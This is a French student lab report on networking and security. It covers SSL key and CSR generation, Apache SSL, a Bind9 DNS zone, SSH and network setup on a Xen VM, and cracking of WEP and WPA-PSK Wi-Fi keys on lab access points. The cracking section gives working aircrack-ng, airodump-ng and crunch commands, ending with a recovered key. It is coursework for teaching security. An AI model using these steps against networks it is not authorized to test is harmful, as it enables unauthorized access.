TP sysres IMA2a5 2021/2022 G8
Génération de la clé SSL
Certificat SSL
Le SSL (Secure Socket Layer) / TLS (Transport Layer Security) est le protocole de sécurité le plus répandu qui créé un canal sécurisé entre deux machines communiquant sur Internet ou un réseau interne. Le protocole SSL est généralement utilisé lorsqu'un navigateur doit se connecter de manière sécurisée à un serveur web.
Tout d'abord, comme souvent pour les protocoles sécurisés (utiliser un processus de chiffremment), nous devons généner une paire de clefs .key et .csr. Pour cela on utilise la commande suivante :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-fifa.key -out ima2a5-fifa.csr
Nous avons donc généré un jeu de 2 clefs privée et publique.
Argument explication
req Gestion X.509 Certificate Signing Request (CSR).
-nodes Pas de chiffrage sur la clef privée (option arbitraire no des)
-newkey rsa:2048 demande de Génération d'une paire de clef RSA de 2048 bits et d'une demande de certificat.
-keyout ima2a5-fifa.key spécification du nom de notre .key
-out ima2a5-fifa.csr spécification du nom de notre demande de certificat .csr
A la suite de la commande openssl, nous répondons à quelques questions afin de générer et d'obtenir le csr:
Country Name (2 letter code) [AU]:FR State or Province Name (full name) [Some-State]:Nord Locality Name (eg, city) []:Lille Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille Organizational Unit Name (eg, section) []:IMA2A5 Common Name (e.g. server FQDN or YOUR name) []:ima2a5-fifa.site Email Address []:quentin.maesen@polytech-lille.net Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []:glopglop! Optionnal informations :
Notre clé publique est donc contenue dans le fichier ima2a5-fifa.csr. Ensuite cette clé publique doit être communiqué à notre registrar "Gandi" afin qu'il puisse valider ou non l'authenticité de notre site. Gandi peut utiliser plusieurs méthode pour certifier notre site. Nous avons choisi la méthode par "fichier". Pour cela nous devons fournir à Gandi un fichier temporaire et attendre qu'il soit validé. Une fois valider un certificat .csr et un certificat .pem sont générés.
Le protocole http écoute par défaut sur le port 80. Jusqu'ici notre serveur web écoutait donc sur son port 80 pour déceler d'éventuelles tentatives de connexion de la part des clients. Le protocole sécurisé https écoute lui sur le prot 443. Nous avons donc autorisé le serveur à écouter sur le 443 en plus du port 80 et effectué une redirection afin que les clients voulant se conecter via le protocole http soit automatiquement redirigé sur le port 443 afin d'utiliser le protocole https et donc de sécuriser la connexion. Activation du module SSL
Tout d'abord nous devons activer le module SSL sur notre serveur Apache2, en créant un lien symbolique via a2en :
sudo a2enmod ssl
Puis il faut relancer le serveur avec la commande :
service apache2 restart
Pour lire la clé et l'activer sur gandi.net
cat ima2a5-fifa.site.csr
Mise en place du serveur DNS Installation de Bind9
Un serveur DNS (Domain Name System) permet la correspondance entre un nom de domaine et une adresse IP. Ainsi, grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP. Pour installer notre propre serveur DNS nous avons utilisé Bind9.
Nous commençons tout d'abord par installer bind9 via la commande suivante : apt-get install bind9 Création et configuration de la zone principale
La zone principale permet de faire pointer un nom de domaine pleinement qualifié (FQDN) sur une adresse IP.
Nous avons tout d'abord modifié le fichier /etc/bind/named.conf.local qui contient la configuration locale du serveur DNS et nous y avons déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone. Puis nous avons créé le fichier de description/configuration lui-même que nous avons appelé db.ima2a5-wateck.site.
[...] ; BIND data file for ima2a5-fifa.site ; $TTL 14400 @ IN SOA ns1.ima2a5-fifa.site. host.ima2a5-fifa.site. ( 201006601 ; Serial 7200 ; Refresh 120 ; Retry 2419200 ; Expire 604800) ; Default TTL ; @ IN NS ns1.ima2a5-fifa.site. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.168 www IN A 193.48.57.168 [...]
Définitions des hôtes
Une fois la zone principale configurée, nous renseignons dans sa description les noms des différentes machines pour lesquels on souhaite résoudre le nom. Pour cela nous modifions les fichiers de configuration named.conf.local :
zone "ima2a5-fifa.site" { type master; file "/etc/bind/zones/db.ima2a5-fifa.site.signed"; };
Et named.conf.options :
options { // forwarders { // 0.0.0.0; // }; //dnssec-validation auto; dnssec-enable yes; auth-nxdomain no; # conform to RFC1035 listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; };
acl "allowed_to_transfer" { 217.70.177.40/32; // adresse IP du ns6.gandi.net };
Après avoir enregistré les modifications dans les fichiers précédemment évoqués, nous redémarrons le service bind9 grâce à la commande service bind9 restart. Le service bind9 doit être redémarré à chaque modification, pour qu’elle soit prise en compte. Réservation du nom de domaine
Grâce au registrar gandi.net, nous avons réservé le nom de domaine ima2a5-wateck.site. L'extension .site est une option trés interessante à cause du prix relativement faible (1€/an)
Mygandi.png Configuration du nameserver
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine. Le nameserver utilisé est spécifié dans notre fichier de configuration pour bind9. La figure suivante montre le choix de nos narmeservers via gandi:
Wiki.png Enregistrement Glue Records
Il faut créer un enregistrement Glue records lorsque le serveur de noms fait référence au nom de domaine. Si vous souhaitez mettre en place plusieurs serveurs de noms, faisant référence au nom de domaine, il faudra créer pour chacun un enregistrement glue record. AInsi nous utilisons les enregistrements Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. NB:Les modifications seront effectives entre 12 et 24 heures. La figure suivante motre l'enregistrement glue records que nous avons effectué:
Glue record.png
Après avoir réalisé ces étapes et attendu que le registrar effectue les modifications, le site est enfin accessible via le nom ima2a5-wateck.site.
Serveur connexion en SSH
2 adresse IP
1 addresse est routée -> 193.48.57.168
1 non routé -> 10.60.100.254
Le mot de passe par défaut étant vraiment compliqué, j'ai pu le changer avec passwd. Cependant, il m'était impossible de me connecter sur ma machine virtuelle. C'est pourquoi, j'ai également dû effectuer des changements dans les fichiers "/etc/ssh/ssh_config" (pour autoriser la connexion en ssh) et "/etc/network/interfaces" (pour changer l'adresse de la gateway). Il ne me restait plus qu'à redémarrer le service :
ifdown eth0 ifup eth0 service ssh restart
nano /etc/network/interfaces
On met : # The primary network interface auto eth0 iface eth0 inet6 auto
iface eth0 inet static address 10.60.100.168/24 up ip address add dev eth0 193.48.57.168/32 ; ip route add default via 10.60.100.254 src 193.48.57.168 down ip address del dev eth0 193.48.57.168/32 ; ip route del default via 10.60.100.254 src 193.48.57.168
Pour la configuration, 2 fichiers sont importants
ssh_config -> config client
sshd_config -> config serveur
"xen list" est util pour lister les VM actifs
Pour voir l'adresse Ip de notre machine virtuelle
ipa, on pourra se connecter dessus
Pour se connecter à la VM
xen create /etc/xen/Fifa.cfg xen console Fifa
Une fois configurée, ssh root@193.48.57.168
Ligne de code pour retrouver ton mot de passe de ta VM
tail -f /var/log/xen-tools.Fifa.log
Cassage de clef WEP d’un point d’accès WiFi
Penser à installer les packages lié à Air Crack.
apt-install aircrack-ng
Brancher une clé WiPi via un port USB. Trouver l'id du port USB ou vous avez branché la clé la commande.
lsusb
Pour passer la clé Wifi en mode monitor, il faut utiliser la fonction suivante.
airmon-ng
Une fois le port déterminé la commande suivante va nous permettre d'écouter toutes les trames Wifi du périphérique.
airodump-ng
Sélectionner un des réseau pour trouver le BSSID du groupe binôme. Laisser tourner l'interface en boucle pour maintenir les échanges Ip.
airodump-ng -c 3 --bssid 04:DA:D2:9C:50:50 wlan0mon
Dans un autre terminal, lancer la fonction de craquage.
aircrack-ng /tmp/cracotte01-01.cap
Patienter 10 à 15min pour obtenir un résultat
Cassage de clef WPA-PSK d’un point d’accès WiFi
Penser à vérifier que les packages Air Crack sont bien installés.
Listing de toutes les interfaces Wi-Fi
airmon-ng
On obtient la liste ci-dessous :
PHY Interface Driver Chipset phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370
On passe la carte Wifi en mode monitor :
airmon-ng start wlx40a5ef0f679b
Suite à cela, l'interface wlx40a5ef0f679b est renommée en wlan0mon. Maintenant, si on réutilise airmon-ng pour lister de nouveaux des interfaces Wifi disponibles on obtient :
PHY Interface Driver Chipset phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370
Le nom de l'interface a donc bien été modifié.
On réutilise ensuite :
airodump-ng wlan0mon
dans le but de récupérer le BSSID afin d'afficher les trames qui passent. On remarque que les trames de kracotte* se trouvent sur le channel 8 et que BSSID de la kracotte01 est 44:AD:D9:5F:87:00. J'ai donc pu filtré ma recherche de manière à n'observer que les trames qui passent vers kracotte avec :
airodump-ng -c 8 --bssid 44:AD:D9:5F:87:00 -w krakotte.txt wlan0mon
Comme précédemment, j'ai enregistré toutes les trames qui passaient et je les ai envoyé dans un fichier nommé "krakotte.txt". A ce moment, j'ai du attendre environ un quart d'heure.
Exécution de Aircrack sur différentes zabeth
Une fois le handshake récupéré, j'ai créé mon propre dictionnaire contenant l'ensemble des mots de passes potentiels. En effet, nous savions que le mot de passe n'était composé que de 8 chiffres aléatoires. J'ai donc dans un premier temps créé un dictionnaire, nommé Dico_krakotte01, contenant les 100 000 000 possibilités grâce à la simple commande
crunch 8 8 0123456789 >> Dico_krakotte01.txt
Cependant si je lançais la commande aircrack-ng tout de suite, ma machine mettrait un très long moment à trouver la clef en testant toutes les possibilités. Pour pallier ce problème, j'ai divisé mon dictionnaire en 5 fichiers distincts avec
split -b 200m Dico_krakotte01.txt
On peut vérifier que cela a bien fonctionné en regardant le contenu des fichiers générés
ls >> Dico_Krakotte01.txt xaa
Posséder ces différents fichiers va me permettre d'exécuter la commande aircrack-ng sur d'autres zabeth de manière à diminuer le temps de recherche du mot de passe.
Cassage de la clef WPA :
aircrack-ng -w xaa krakotte01.cap
Affichage de la recherche du mot de passe
Mot de passe trouvé
Aircrack-ng 1.5.2
[08:04:01] 66637843/102795810 keys tested (958.44 k/s)
Time left: 10 hours, 29 minutes, 3 seconds 64.83%
KEY FOUND! [ 66601666 ]
Master Key : 43 33 CD 6B EA 53 29 36 F9 53 21 00 33 0A 1A 45 18 E3 D5 1D DD 1C 37 29 B9 6B 49 32 24 80 02 E5
Transient Key : 77 A3 E9 BF CE FD D1 2B D9 62 3B 15 3C D5 2C 20 59 59 19 3E AF 62 8F C9 1A 48 9C 1B 4B A4 89 70 B3 4C 79 2A 0A FB C9 71 1F 10 01 BE A5 FA 96 41 18 04 12 0E 01 91 DD EA B2 96 17 F3 69 AC 7C F5
EAPOL HMAC : DA 48 8D 5E B4 0E F9 78 63 C7 8E 01 56 40 82 10